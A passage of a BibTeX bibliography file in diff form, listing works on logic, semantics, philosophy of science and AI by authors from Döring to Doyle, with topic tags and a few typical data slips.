classifier system with + an extended genetic algorithm. After classifying different kinds + of Animat-like behaviors, we explore the effects on learning of + different types of agent's architecture and training strategies. + We show that the best results are achieved when both the agent's + architecture and the training strategy match the structure of + the behavior pattern to be learned. We report the results of a + number of experiments carried out both in simulated and in real + environments, and show that the results of simulations carry + smoothly to physical robots. While most of our experiments deal + with simple reactive behavior, in one of them we demonstrate the + use of a simple and general memory mechanism. As a whole, our + experimental activity demonstrates that classifier systems with + genetic algorithms can be practically employed to develop + autonomous agents.}, + topic = {machine-learning;robotics;reinforcement-learning;} + } + +@article{ doring:1994a, + author = {Frank D\"oring}, + title = {Probabilities of Conditionals and Conditional + Probabilities}, + journal = {The Philosophical Review}, + year = {1994}, + volume = {103}, + pages = {689--700}, + missinginfo = {number}, + xref = {Correction: doring:1996a.}, + topic = {conditionals;probabilities;} + } + +@article{ doring:1996a, + author = {Frank D\"oring}, + title = {On the Probabilities of Conditionals}, + journal = {The Philosophical Review}, + year = {1996}, + volume = {105}, + number = {2}, + pages = {231}, + xref = {This is a correction to doring:1994a.}, + topic = {conditionals;probabilities;} + } + +@inproceedings{ doring:1998a, + author = {Frank D\"oring}, + title = {Why {B}ayesian Psychology Is Incomplete}, + booktitle = {{PSA}98: Proceedings of the Biennial Meeting of the + Philosophy of Science Association, Part 1: Contributed + Papers}, + year = {1998}, + editor = {Don A. Howard}, + pages = {379--389}, + organization = {Philosophy of Science Association}, + publisher = {University of Chicago Press}, + address = {Chicago, Illinois}, + topic = {probability-kinematics;} + } + +@article{ doring:2000a, + author = {Frank D\"oring}, + title = {Conditional Probability and {D}utch Books}, + journal = {Philosophy of Science}, + year = {2000}, + volume = {67}, + number = {3}, + pages = {391--409}, + topic = {foundations-of-probability;Dutch-book-argument;} + } + +@book{ dorn-weingartner:1985a, + editor = {Georg Dorn and Paul Weingartner}, + title = {Foundations of Logic and Linguistics: Problems and + Solutions}, + publisher = {Plenum Press}, + year = {1985}, + address = {New York}, + topic = {logic-survey;} + } + +@inproceedings{ dorna-etal:1998a, + author = {Michael Dorna and Anette Frank and Josef {van Genabith} and + Martin C. Emele}, + title = {Syntactic and Semantic Transfer with {F}-Structures}, + booktitle = {Proceedings of the Thirty-Sixth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and Seventeenth + International Conference on Computational Linguistics}, + year = {1998}, + editor = {Christian Boitet and Pete Whitelock}, + pages = {341--347}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco, California}, + topic = {machine-translation;LFG;} +} + +@article{ dorndorf-etal:2000a, + author = {Ulrich Dorndorf and Erwin Pesch and To\`an Phan-Huy}, + title = {Constraint Propagation Techniques for the Disjunctive + Scheduling Problem}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {122}, + number = {1--2}, + pages = {189--240}, + topic = {constraint-propagation;scheduling;} + } + +@incollection{ dornheim:1998a, + author = {Christoph Dornheim}, + title = {Undecidability of Plane Polynomial Mereotopology}, + booktitle = {{KR}'98: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1998}, + editor = {Anthony G. Cohn and Lenhart Schubert and Stuart C. + Shapiro}, + pages = {342--353}, + address = {San Francisco, California}, + topic = {kr;spatial-reasoning;compolexity-iun-AI; + undecidability;kr-course;} + } + +@article{ doron:1988a, + author = {Edit Doron}, + title = {The Semantics of Predicate Nominals}, + journal = {Linguistics}, + year = {1988}, + volume = {26}, + number = {2}, + pages = {281--301}, + topic = {nl-semantics;predicate-nominals;copula;itentity;predication;} + } + +@inproceedings{ doron:1991a, + author = {Edit Doron}, + title = {Point of View as a Factor of Content}, + booktitle = {Proceedings from Semantics and Linguistic Theory + {I}}, + year = {1991}, + editor = {Steven Moore and {Adam Zachary} Wyner}, + pages = {51--64}, + publisher = {Cornell University}, + address = {Ithaca, New York}, + note = {Available from CLC Publications, Department of Linguistics, + Morrill Hall, Cornell University, Ithaca, NY 14853-4701.}, + topic = {context;direct-discourse;pragmatics;} + } + +@incollection{ doron:1999a, + author = {Edit Doron}, + title = {The Semantics of Transitivity Alternations}, + booktitle = {Proceedings of the Twelfth {A}msterdam Colloquium}, + publisher = {ILLC/Department of Philosophy, University + of Amsterdam}, + year = {1999}, + editor = {Paul Dekker}, + pages = {103--108}, + address = {Amsterdam}, + topic = {transitivity-alternations;combinatory-logic;} + } + +@article{ dorr:1993a, + author = {Bonnie Jean Dorr}, + title = {Interlingual Machine Translation: a Parameterized Approach}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {63}, + number = {1--2}, + pages = {429--492}, + topic = {machine-translation;} + } + +@book{ dorr:1993b, + author = {Bonnie Dorr}, + title = {Machine Translation: A View From the Lexicon}, + publisher = {The {MIT} Press}, + year = {1993}, + address = {Cambridge, Massachusetts}, + topic = {machine-translation;computational-lexical-semantics;} + } + +@inproceedings{ dorr-voss:1993a, + author = {Bonnie Jean Dorr and Clare R. Voss}, + title = {Machine Translation of Spatial Expressions: Defining the + Relation Between an Interlingua and a Knowledge + Representation System}, + booktitle = {Proceedings of the Eleventh National Conference on + Artificial Intelligence}, + year = {1993}, + editor = {Richard Fikes and Wendy Lehnert}, + pages = {374--379}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {nl-kr;machine-translation;computational-lexical-semantics; + spatial-semantics;} + } + +@incollection{ dorr:1995a, + author = {Bonnie Jean Dorr}, + title = {A Lexical-Semantic Solution to the Divergence Problem in + Machine Translation}, + booktitle = {Computational Lexical Semantics}, + publisher = {Cambridge University Press}, + year = {1995}, + editor = {Patrick Saint-Dizier and Evelyne Viegas}, + pages = {367--395}, + address = {Cambridge, England}, + topic = {nl-kr;machine-translation;computational-lexical-semantics;} + } + +@article{ dorr-etal:1995a, + author = {Bonnie Jean Dorr and Dekang Lin and Jye-hoon Lee and + Sungki Suh}, + title = {Efficient Parsing for {K}orean and {E}nglish: + A Parameterized Message-Passing Approach}, + journal = {Computational Linguistics}, + year = {1995}, + volume = {25}, + number = {2}, + pages = {255--263}, + topic = {parsing-algorithms;machine-translation; + government-binding-theory;machine-translation; + Korean-language;} + } + +@inproceedings{ dorr-gaasterland:1995a, + author = {Bonnie Jean Dorr and Terry Gaasterland}, + title = {Selecting Tense, Aspect, and Connecting Words in Language + Generation}, + booktitle = {Proceedings of the Fourteenth International Joint + Conference on Artificial Intelligence}, + year = {1995}, + editor = {Chris Mellish}, + pages = {1299--1305}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {nl-generation;tense-aspect;} + } + +@inproceedings{ dorr-olsen:1997a, + author = {Bonnie Dorr and Broman Olsen}, + title = {Deriving Verbal and Compositional Lexical Aspect for + {NLP} Applications}, + booktitle = {Proceedings of the Thirty-Fifth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and Eighth + Conference of the {E}uropean Chapter of the {A}ssociation + for {C}omputational {L}inguistics}, + year = {1997}, + editor = {Philip R. Cohen and Wolfgang Wahlster}, + pages = {151--158}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {tense-aspect;lexical-semantics;} + } + +@article{ dorr:2001a, + author = {Bonnie Jean Dorr}, + title = {Review of {\it The {MIT} Encyclopedia of the Cognitive + Sciences,} edited by {R}obert {A}. {W}ilson and {F}rank {C}. {K}eil}, + journal = {Artificial Intelligence}, + year = {2001}, + volume = {130}, + number = {2}, + pages = {183--184}, + xref = {Review of: wilson_ra-keil:1999a.}, + topic = {cognitive-science-general;cognitive-science-survey; + nl-processing;} + } + +@article{ dorre-etal:1994a, + author = {Jochen D\"orre and Esther K\"onig and Dov Gabbay}, + title = {Fibred Semantics for Feature-Based Grammar Logic}, + journal = {Journal of Logic, Language, and Information}, + year = {1994}, + volume = {5}, + number = {3--4}, + pages = {387--422}, + topic = {categorial-grammar;feature-structure-logic;unification; + fibred-semantics;} + } + +@inproceedings{ dorre:1996a, + author = {Jochen D\"orre}, + title = {Parsing for Semidirectional {L}ambek Grammar is + {NP}-Complete}, + booktitle = {Proceedings of the Thirty-Fourth Annual Meeting of the + Association for Computational Linguistics}, + year = {1996}, + editor = {Arivind Joshi and Martha Palmer}, + pages = {95--100}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco}, + topic = {complexity-in-AI;Lambek-calculus;parsing-algorithms;} + } + +@inproceedings{ dorre:1997a, + author = {Jochen D\"orre}, + title = {Efficient Construction of Underspecified Semantics + under Massive Ambiguity}, + booktitle = {Proceedings of the Thirty-Fifth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and Eighth + Conference of the {E}uropean Chapter of the {A}ssociation + for {C}omputational {L}inguistics}, + year = {1997}, + editor = {Philip R. Cohen and Wolfgang Wahlster}, + pages = {386--393}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {semantic-underspecification;} + } + +@article{ dosen:1981a, + author = {Kosta Do\v{s}en}, + title = {A Reduction of Classical Propositional Logic to the + Conjunction Negation Fragment of an Intuitionistic + Relevant Logic}, + journal = {Journal of Philosophical Logic}, + year = {1981}, + volume = {10}, + number = {4}, + pages = {399--408}, + topic = {intuitionistic-logic;relevance-logic;} + } + +@article{ dosen:1992a, + author = {Kosta Do\v{s}en}, + title = {Modal Logic as Metalogic}, + journal = {Journal of Logic, Language, and Information}, + year = {1992}, + volume = {1}, + number = {3}, + pages = {173--201}, + topic = {modal-logic;} + } + +@article{ dosen:1992b, + author = {Kosta Do\v{s}en}, + title = {The First Axiomatization of Relevant Logic}, + journal = {Journal of Philosophical Logic}, + year = {1992}, + volume = {21}, + number = {4}, + pages = {339--356}, + topic = {relevance-logic;} + } + +@article{ dosen:1992c, + author = {Kosta Do\v{s}en}, + title = {Modal Translations in Substructural Logics}, + journal = {Journal of Philosophical Logic}, + year = {1992}, + volume = {21}, + number = {3}, + pages = {283--336}, + topic = {substructural-logics;modal-logic;} + } + +@incollection{ dosen:1993b, + author = {Kosta Do\v{s}en}, + title = {Modal Translations in {\bf K} and {\bf D}}, + booktitle = {Diamonds and Defaults}, + publisher = {Kluwer Academic Publishers}, + editor = {Maarten de Rijke}, + year = {1993}, + pages = {103--127}, + address = {Dordrecht}, + topic = {modal-logic;deontic-logic;} + } + +@book{ dosen:1994a, + author = {Kosta Disen}, + title = {Substructural Logics}, + publisher = {Oxford University Press}, + year = {1994}, + series = {Studies in Logic and Computation}, + number = {2}, + address = {Oxford}, + ISBN = {019853778}, + topic = {substructural-logics;} + } + +@article{ dosen:1996a, + author = {Kosta Dosen}, + title = {Deductive Completeness}, + journal = {The Bulletin of Symbolic Logic}, + year = {1996}, + volume = {2}, + number = {3}, + pages = {243--283}, + topic = {proof-theory;} + } + +@article{ dosen:2001a, + author = {Kosta Do\V{s}en}, + title = {Review of {\it An Introduction to Substructural Logics}, + by {G}reg {R}estall}, + journal = {The Bulletin of Symbolic Logic}, + year = {2001}, + volume = {7}, + number = {4}, + pages = {527--530}, + xref = {Review of: restall:2000a}, + topic = {substructural-logics;linear-logic;proof-theory;} + } + +@article{ dosen-petric:2002a, + author = {Kosta Do\v{s}en and Zoran Petri\'c}, + title = {Bicartesian Coherence}, + journal = {Studia Logica}, + year = {2002}, + volume = {71}, + number = {3}, + pages = {331--353}, + topic = {Lambek-calculus;categorial-grammar;} + } + +@book{ double:1991a, + author = {Richard Double}, + title = {The Non-Reality of Free Will}, + publisher = {Oxford University Press}, + year = {1991}, + address = {Oxford}, + xref = {Review: ravizza:1993a}, + topic = {freedom;volition;} + } + +@article{ dougherty:1969a, + author = {Ray C. Dougherty}, + title = {An Interpretive Theory of Pronominal Reference}, + journal = {Foundations of Language}, + year = {1969}, + volume = {5}, + pages = {488--519}, + missinginfo = {number}, + topic = {anaphora;} + } + +@article{ dougherty:1973a, + author = {Ray C. Dougherty}, + title = {A Survey of Linguistic Methods and Arguments}, + journal = {Foundations of Language}, + year = {1973}, + volume = {10}, + number = {3}, + pages = {423--490}, + topic = {generative-semantics;} + } + +@article{ dougherty:1974a, + author = {Ray C. Dougherty}, + title = {The Syntax and Semantics of `Each Other' Constructions}, + journal = {Foundations of Language}, + year = {1974}, + volume = {12}, + pages = {1--47}, + missinginfo = {number}, + topic = {reciprical-constructions;} + } + +@incollection{ dougherty:1974b, + author = {Ray C. Dougherty}, + title = {What Explanation Is and Isn't}, + booktitle = {Explaining Linguistic Phenomena}, + publisher = {Hemisphere Publishing Corp.}, + year = {1974}, + editor = {David Cohen}, + pages = {125--151}, + address = {Washington, DC}, + topic = {philosophy-of-linguistics;linguistics-methodology; + explanation;} + } + +@incollection{ dougherty_rc:1976a, + author = {Ray C. Dougherty}, + title = {Argument Invention: The Linguist's + `Feel' for Science}, + booktitle = {Assessing Linguistic Arguments}, + publisher = {Hemisphere Publishing Corporation}, + year = {1976}, + editor = {Jessica R. Wirth}, + pages = {111--165}, + address = {Washington, D.C.}, + topic = {philosophy-of-linguistics;foundations-of-linguistics;} + } + +@book{ dougherty_rc:1995a, + author = {Ray C. Dougherty}, + title = {Natural Language Computing}, + publisher = {Lawrence Erlbaum Associates}, + year = {1995}, + address = {Mahwah, New Jersey}, + topic = {computational-linguistics;PROLOG;} + } + +@article{ douglas:1990a, + author = {M. Douglas}, + title = {Risk as a Forensic Resource}, + journal = {Daedalus}, + year = {1990}, + volume = {119}, + pages = {1--16}, + missinginfo = {A's 1st name, number}, + topic = {risk;} + } + +@inproceedings{ douven:1998a, + author = {Igor Douven}, + title = {Inference to the Best Explanation Made Coherent}, + booktitle = {{PSA}98: Proceedings of the Biennial Meeting of the + Philosophy of Science Association, Part 1: Contributed + Papers}, + year = {1998}, + editor = {Don A. Howard}, + pages = {424--435}, + organization = {Philosophy of Science Association}, + publisher = {University of Chicago Press}, + address = {Chicago, Illinois}, + topic = {explanation;abduction;} + } + +@article{ douven:1999a, + author = {Igor Douven}, + title = {Putnam's Model-Theoretic Argument Reconstructed}, + journal = {The Journal of Philosophy}, + year = {1999}, + volume = {96}, + number = {9}, + pages = {479--490}, + topic = {philosophical-realism;} + } + +@incollection{ dow-ribierodacostawerlang:1992a, + author = {James Dow and S\'ergio {Ribiero da Costa Werlang}}, + title = {The Ex Ante Non-Optimality of the {D}empster-{S}chafer + Updating Rule for Ambiguous Beliefs}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Fourth Conference ({TARK} 1992)}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Yoram Moses}, + pages = {163--166}, + address = {San Francisco}, + note = {A commentary on \cite{gilboa-schmeidler:1992a}.}, + topic = {probability-kinematics;} + } + +@article{ dowden:1984a, + author = {Bradley H. Dowden}, + title = {Accepting Inconsistencies from Paradoxes}, + journal = {Journal of Philosophical Logic}, + year = {1984}, + volume = {13}, + number = {2}, + pages = {125--130}, + topic = {paraconsistency;semantic-paradoxes;} + } + +@article{ dowe:1998a, + author = {Phil Dowe}, + title = {Review of {\it The Facts of Causation}, by {D}.{H}. + {M}ellor}, + journal = {Philosophy of Science}, + year = {1998}, + volume = {65}, + number = {1}, + pages = {162--130}, + xref = {Review of: mellor_dh:1995a.}, + topic = {causality;} + } + +@article{ downing_p:1977a, + author = {Pamela Downing}, + title = {On the Creation and Use of {E}nglish Compound Nouns}, + journal = {Language}, + year = {1977}, + volume = {53}, + number = {4}, + pages = {810--842}, + topic = {compound-nouns;} + } + +@article{ downing_pb:1959a, + author = {P.B. Downing}, + title = {Subjunctive Conditionals, Time Order, and Causation}, + journal = {Proceedings of the {A}ristotelian Society, New Series}, + year = {1959}, + volume = {59}, + pages = {125--140}, + missinginfo = {A's 1st name}, + title = {Studies in the Logic of Verb Aspect and Time + Reference in {E}nglish}, + institution = {Department of Linguistics, University of Texas}, + year = {1972}, + address = {Austin, Texas}, + topic = {nl-tense;tense-aspect;} + } + +@incollection{ dowty:1972b, + author = {David Dowty}, + title = {Temporally Restrictive Adjectives}, + booktitle = {Syntax and Semantics}, + publisher = {Academic Press}, + year = {1972}, + editor = {John Kimball}, + pages = {51--53}, + address = {New York}, + topic = {adjectives;adverbs;nl-tense;} + } + +@incollection{ dowty:1976a, + author = {David R. Dowty}, + title = {Montague Grammar and the Lexical Decomposition of + Causative Verbs}, + booktitle = {Montague Grammar}, + publisher = {Academic Press}, + year = {1976}, + editor = {Barbara H. Partee}, + pages = {201--245}, + address = {New York}, + topic = {Montague-grammar;lexical-semantics;} + } + +@article{ dowty:1977a, + author = {David R. Dowty}, + title = {Toward a Semantic Analysis of Verb Aspect and the + {E}nglish `Imperfective' Progressive}, + journal = {Linguistics and Philosophy}, + year = {1977}, + volume = {1}, + number = {1}, + pages = {45--77}, + topic = {nl-semantics;tense-aspect;progressive;imperfective-paradox;} + } + +@unpublished{ dowty:1978a, + author = {David R. Dowty}, + title = {Dative `Movement' and {T}homason's Extensions of + {M}ontague Grammar}, + year = {1978}, + note = {Unpublished manuscript, The Ohio State University.}, + missinginfo = {Date is a guess.}, + topic = {Montague-grammar;} + } + +@unpublished{ dowty:1978b, + author = {David R. Dowty}, + title = {Addendum to `Dative Movement and {T}homason's Extensions of + {M}ontague Grammar'\, } , + year = {1978}, + note = {Unpublished manuscript, The Ohio State University.}, + missinginfo = {Date is a guess.}, + topic = {Montague-grammar;} + } + +@article{ dowty:1978c, + author = {David R. Dowty}, + title = {Governed Transformations as Lexical Rules in {M}ontague + Grammar}, + journal = {Linguistic Inquiry}, + year = {1978}, + volume = {9}, + number = {3}, + missinginfo = {pages}, + topic = {Montague-grammar;meaning-postulates;lexical-semantics;} + } + +@book{ dowty:1979a, + author = {David R. Dowty}, + title = {Word Meaning in {M}ontague Grammar}, + publisher = {D. Reidel Publishing Co.}, + year = {1979}, + address = {Dordrecht, Holland}, + topic = {nl-semantics;montague-grammar;lexical-semantics;} + } + +@unpublished{ dowty:1981a, + author = {David R. Dowty}, + title = {Grammatical Relations and {M}ontague Grammar}, + year = {1981}, + note = {Unpublished manuscript, The Ohio State University.}, + topic = {Montague-grammar;grammatical-relations;meaning-postulates;} + } + +@book{ dowty-etal:1981a, + author = {David R. Dowty and Robert Wall and Stanley Peters}, + title = {Introduction to {M}ontague Semantics}, + publisher = {D. Reidel Publishing Co.}, + year = {1981}, + address = {Dordrecht}, + ISBN = {902771142-9}, + topic = {nl-semantics;montague-grammar;} + } + +@article{ dowty:1982a, + author = {David R. Dowty}, + title = {Tenses, Time Adverbs, and Compositional Semantic Theory}, + journal = {Linguistics and Philosophy}, + year = {1982}, + volume = {5}, + number = {1}, + pages = {23--55}, + topic = {nl-tense;nl-semantics;temporal-adverbials; + semantic-compositionality;} + } + +@unpublished{ dowty:1983a, + author = {David Dowty}, + title = {On Recent Treatments of the Semantics of Control}, + year = {1983}, + note = {Unpublished manuscript, Linguistics Department, The Ohio State + University.}, + topic = {syntactic-control;nl-semantics;} + } + +@inproceedings{ dowty:1985a, + author = {David Dowty}, + title = {Type Raising, Functional Composition, and Non-Constituent + Conjunction}, + booktitle = {Categorial Grammars and Natural Language Structures}, + publisher = {D. Reidel Publishing Co.}, + year = {1988}, + address = {Dordrecht}, + missinginfo = {pages}, + topic = {categorial-grammar;nl-semantic-types;coordination;} + } + +@article{ dowty:1985b, + author = {David R. Dowty}, + title = {On Recent Analyses of the Semantics of Control}, + journal = {Linguistics and Philosophy}, + year = {1985}, + volume = {8}, + number = {3}, + pages = {291--331}, + topic = {Montague-grammar;nl-semantics;syntactic-control;} + } + +@book{ dowty-etal:1985a, + editor = {David R. Dowty and Lauri Karttunen and Arnold M. Zwicky}, + title = {Natural Language Parsing: Psychological, Computational, And + Theoretical Perspectives}, + publisher = {Cambridge University Press}, + year = {1985}, + address = {Cambridge, ENgland}, + ISBN = {0521262038}, + topic = {parsing-psychology;} + } + +@article{ dowty:1986a, + author = {David R. Dowty}, + title = {Preface}, + journal = {Linguistics and Philosophy}, + year = {1986}, + volume = {9}, + number = {1}, + pages = {1--3}, + note = {To a special volume on tense and aspect in discourse.}, + topic = {nl-semantics;events;tense-aspect;Aktionsarten;} + } + +@article{ dowty:1986b, + author = {David R. Dowty}, + title = {The Effects of Aspectual Class on the Temporal + Structure of Discourse: Semantics or Pragmatics?}, + journal = {Linguistics and Philosophy}, + year = {1986}, + volume = {9}, + number = {1}, + pages = {37--62}, + topic = {Aktionsarten;nl-semantics;pragmatics;} + } + +@incollection{ dowty:1988a, + author = {David Dowty}, + title = {On the Semantic Content of the Notion of `Thematic Role'\,}, + booktitle = {Properties, Types and Meaning, Vol. 2}, + year = {1988}, + editor = {Gennaro Chierchia and Barbara Partee and Raymond Turner}, + publisher = {Kluwer Academic Publishers}, + pages = {69--129}, + address = {Dordrecht}, + topic = {thematic-roles;} + } + +@unpublished{ dowty:1989a, + author = {David R. Dowty}, + title = {Toward a Minimalist Theory of Syntactic Structure}, + year = {1989}, + month = {January}, + note = {Unpublished MS, Linguistics Department, The Ohio State + University.}, + contentnote = {Tries to assume for syntactic purposes a minimum of + constituent structure.}, + topic = {foundations-of-syntax;constituent-structure;} + } + +@article{ dowty:1991a, + author = {David Dowty}, + title = {Thematic Proto-Roles and Argument Selection}, + journal = {Language}, + year = {1991}, + volume = {67}, + number = {3}, + pages = {547--619}, + topic = {thematic-roles;argument-structure;} + } + +@inproceedings{ dowty:1994a, + author = {David Dowty}, + title = {The Role of Negative Polarity and Concord Marking + in Natural Language Reasoning}, + booktitle = {Proceedings from Semantics and Linguistic Theory + {IV}}, + year = {1994}, + editor = {Mandy Harvey and Lynn Santelmann}, + pages = {114--144}, + publisher = {Cornell University}, + address = {Ithaca, New York}, + note = {Available from CLC Publications, Department of Linguistics, + Morrill Hall, Cornell University, Ithaca, NY 14853-4701.}, + topic = {nl-agreement;polarity;parsing-as-deduction;} + } + +@incollection{ doyle_j:1979a1, + author = {Jon Doyle}, + title = {Reason Maintenance and Belief Revision}, + booktitle = {Readings in Uncertain Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1990}, + editor = {Glenn Shafer and Judea Pearl}, + pages = {259--279}, + address = {San Mateo, California}, + topic = {truth-maintenance;belief-revision;} + } + +@article{ doyle_j:1979b1, + author = {Jon Doyle}, + title = {A Truth Maintenance System}, + journal = {Artificial Intelligence}, + year = {1979}, + volume = {12}, + number = {3}, + pages = {231--272}, + xref = {Republications: doyle_j:1979b2,doyle_j:1979b3.}, + topic = {truth-maintenance;} + } + +@incollection{ doyle_j:1979b2, + author = {Jon Doyle}, + title = {A Truth Maintenance System}, + booktitle = {Readings in Artificial Intelligence}, + publisher = {Morgan Kaufmann}, + year = {1981}, + editor = {Bonnie Webber and Nils J. Nilsson}, + pages = {496--516}, + address = {Los Altos, California}, + xref = {Journal Publication: doyle_j:1979b1.}, + topic = {truth-maintenance;} + } + +@incollection{ doyle_j:1979b3, + author = {Jon Doyle}, + title = {A Truth Maintenance System}, + booktitle = {Readings in Nonmonotonic Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1987}, + editor = {Matthew L. Ginsberg}, + pages = {259--279}, + address = {Los Altos, California}, + xref = {Original Publication: doyle_j:1979b1.}, + topic = {truth-maintenance;} + } + +@techreport{ doyle_j:1980a, + author = {Jon Doyle}, + title = {A Model for Deliberation, Action, and Introspection}, + institution = {Artificial Intelligence Laboratory}, + number = {AI TR 581}, + year = {1980}, + address = {Massachusetts Institute of Technology}, + topic = {foundations-of-AI;} + } + +@unpublished{ doyle_j:1982a, + author = {Jon Doyle}, + title = {What is {C}hurch's Thesis? An Outline}, + year = {1982}, + note = {Unpublished manuscript, Carnegie Mellon University.}, + topic = {Church's-thesis;} + } + +@techreport{ doyle_j:1982b, + author = {Jon Doyle}, + title = {The Foundations of Psychology}, + institution = {Department of Computer Science, Carnegie Mellon + University}, + number = {Technical Report No. CMU-CS-82-149.}, + year = {1982}, + address = {Pittsburgh, Pennsylvania 15213}, + topic = {foundations-of-psychology;} + } + +@techreport{ doyle_j:1983a, + author = {Jon Doyle}, + title = {Some Theories of Reasoned Assumptions}, + institution = {Department of Computer Science, Carnegie Mellon + University}, + number = {CMU-CS-83-125}, + year = {1983}, + address = {Pittsburgh, Pennsylvania 15213}, + topic = {nonmonotonic-reasoning;foundations-of-reasoning;} + } + +@inproceedings{ doyle_j:1983b, + author = {Jon Doyle}, + title = {The Ins and Outs of Reason Maintenance}, + booktitle = {Proceedings of the Eighth International Joint + Conference on Artificial Intelligence}, + year = {1983}, + pages = {349--351}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, California}, + missinginfo = {editor}, + topic = {truth-maintenance;} + } + +@unpublished{ doyle_j:1983c, + author = {Jon Doyle}, + title = {Methodological Simplicity in Expert System Construction}, + year = {1983}, + note = {Unpublished manuscript, Carnegie Mellon University.}, + topic = {expert-systems;probabilistic-reasoning;} + } + +@techreport{ doyle_j:1983d1, + author = {Jon Doyle}, + title = {A Society of Mind}, + institution = {Department of Computer Science, Carnegie Mellon + University}, + number = {Technical Report No. CMU-CS-83-127.}, + year = {1983}, + address = {Pittsburgh, Pennsylvania 15213}, + xref = {Conference publication doyle_j:1983d1.}, + topic = {nonmonotonic-reasoning;foundations-of-reasoning;agent-arctitectures;} + } + +@inproceedings{ doyle_j:1983d2, + author = {Jon Doyle}, + title = {A Society of Mind---Multiple Perspectives, Reasoned + Assumptions, and Virtual Copies}, + booktitle = {Proceedings of the Twelfth National Conference on + Artificial Intelligence}, + year = {1994}, + editor = {Barbara Hayes-Roth and Richard Korf}, + pages = {309--313}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, CA}, + xref = {Techreport doyle_j:1983d1.}, + topic = {nonmonotonic-reasoning;foundations-of-reasoning;agent-arctitectures;} + } + +@unpublished{ doyle_j:1984a, + author = {Jon Doyle}, + title = {Reasoned Assumptions and {P}areto Optimality}, + year = {1984}, + note = {Unpublished manuscript, Carnegie Mellon University.}, + topic = {nonmonotonic-reasoning;foundations-of-reasoning;} + } + +@unpublished{ doyle_j:1984b, + author = {Jon Doyle}, + title = {Expert Systems without Computers}, + year = {1984}, + note = {Unpublished manuscript, Carnegie Mellon University.}, + topic = {expert-systems;AI-methodology;} + } + +@unpublished{ doyle_j:1986a, + author = {Jon Doyle}, + title = {Bounded Rationality and Rational Self-Government}, + year = {1986}, + note = {Unpublished manuscript, Carnegie Mellon University}, + topic = {limited-rationality;} + } + +@unpublished{ doyle_j:1986b, + author = {Jon Doyle}, + title = {Considered Actions, Reliable Reasoning, and Rational + Self-Government}, + year = {1986}, + note = {Unpublished manuscript, Carnegie Mellon University}, + topic = {limited-rationality;} + } + +@unpublished{ doyle_j:1986c, + author = {Jon Doyle}, + title = {Logic, Rationality, and Rational Psychology}, + year = {1986}, + note = {Unpublished manuscript, Carnegie Mellon University}, + topic = {AI-methodology;logic-in-AI;} + } + +@unpublished{ doyle_j:1987a, + author = {Jon Doyle}, + title = {Artificial Intelligence and Rational Self-Government}, + year = {1987}, + note = {Unpublished manuscript, Carnegie Mellon University}, + topic = {limited-rationality;} + } + +@article{ doyle_j:1987b, + author = {Jon Doyle}, + title = {Logic, Rationality and Rational Psychology}, + journal = {Computational Intelligence}, + year = {1987}, + volume = {3}, + issue = {3}, + pages = {175--176}, + xref = {kr;foundations-of-kr;logic-in-AI;} + } + +@inproceedings{ doyle_j:1988a, + author = {Jon Doyle}, + title = {Knowledge, Representation, and Rational Self-Government}, + booktitle = {Proceedings of the Second Conference on Theoretical + Aspects of Reasoning about Knowledge}, + year = {1988}, + editor = {Moshe Y. Vardi}, + pages = {345--354}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {rationality;nonmonotonic-reasoning;decision-theory;} + } + +@techreport{ doyle_j:1988b, + author = {Jon Doyle}, + title = {Implicit Knowledge and Rational Representation}, + institution = {Department of Computer Science, Carnegie Mellon + University}, + number = {Technical Report No. CMU-CS-88-134.}, + year = {1988}, + address = {Pittsburgh, Pennsylvania 15213}, + topic = {knowledge;epistemic-logic;hyperintensionality;} + } + +@techreport{ doyle_j:1988c, + author = {Jon Doyle}, + title = {On Universal Theories of Defaults}, + institution = {Computer Science Department, Carnegie Mellon + University}, + number = {CMU-CS-88-111}, + year = {1988}, + topic = {nonmonotonic-reasoning;foundations-of-reasoning;} + } + +@inproceedings{ doyle_j:1989a, + author = {Jon Doyle}, + title = {Reasoning, Representation, and Rational Self-Government}, + booktitle = {Methodologies for Intelligent Systems}, + year = {1989}, + editor = {Zbigniew Ras}, + pages = {395--402}, + publisher = {North-Holland}, + address = {Amsterdam}, + topic = {foundations-of-AI;AI-and-economics;} + } + +@article{ doyle_j:1989b, + author = {Jon Doyle}, + title = {Constructive Belief and Rational Representation}, + journal = {Computational Intelligence}, + year = {1989}, + volume = {5}, + number = {1}, + pages = {1--11}, + topic = {epistemic-logic;belief;AI-and-economics;} + } + +@article{ doyle_j-patil:1989a, + author = {Jon Doyle and Ramesh Patil}, + title = {Two Theses of Knowledge Representation: + Language Restrictions, Taxonomic Classifications, and the + Utility of Representation Services}, + journal = {Artificial Intelligence}, + year = {1989}, + volume = {48}, + number = {3}, + pages = {261--298}, + topic = {kr;taxonomic-logics;kr-course;} + } + +@incollection{ doyle_j-wellman:1989a1, + author = {Jon Doyle and Michael Wellman}, + title = {Impediments to Universal Preference-Based Default Theories}, + booktitle = {{KR}'89: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1989}, + editor = {Ronald J. Brachman and Hector J. Levesque and Raymond Reiter}, + pages = {94--102}, + address = {San Mateo, California}, + xref = {Journal Publication: doyle_j-wellman:1989a2}, + topic = {kr;kr-course;foundations-of-nonmonotonic-logic;} + } + +@article{ 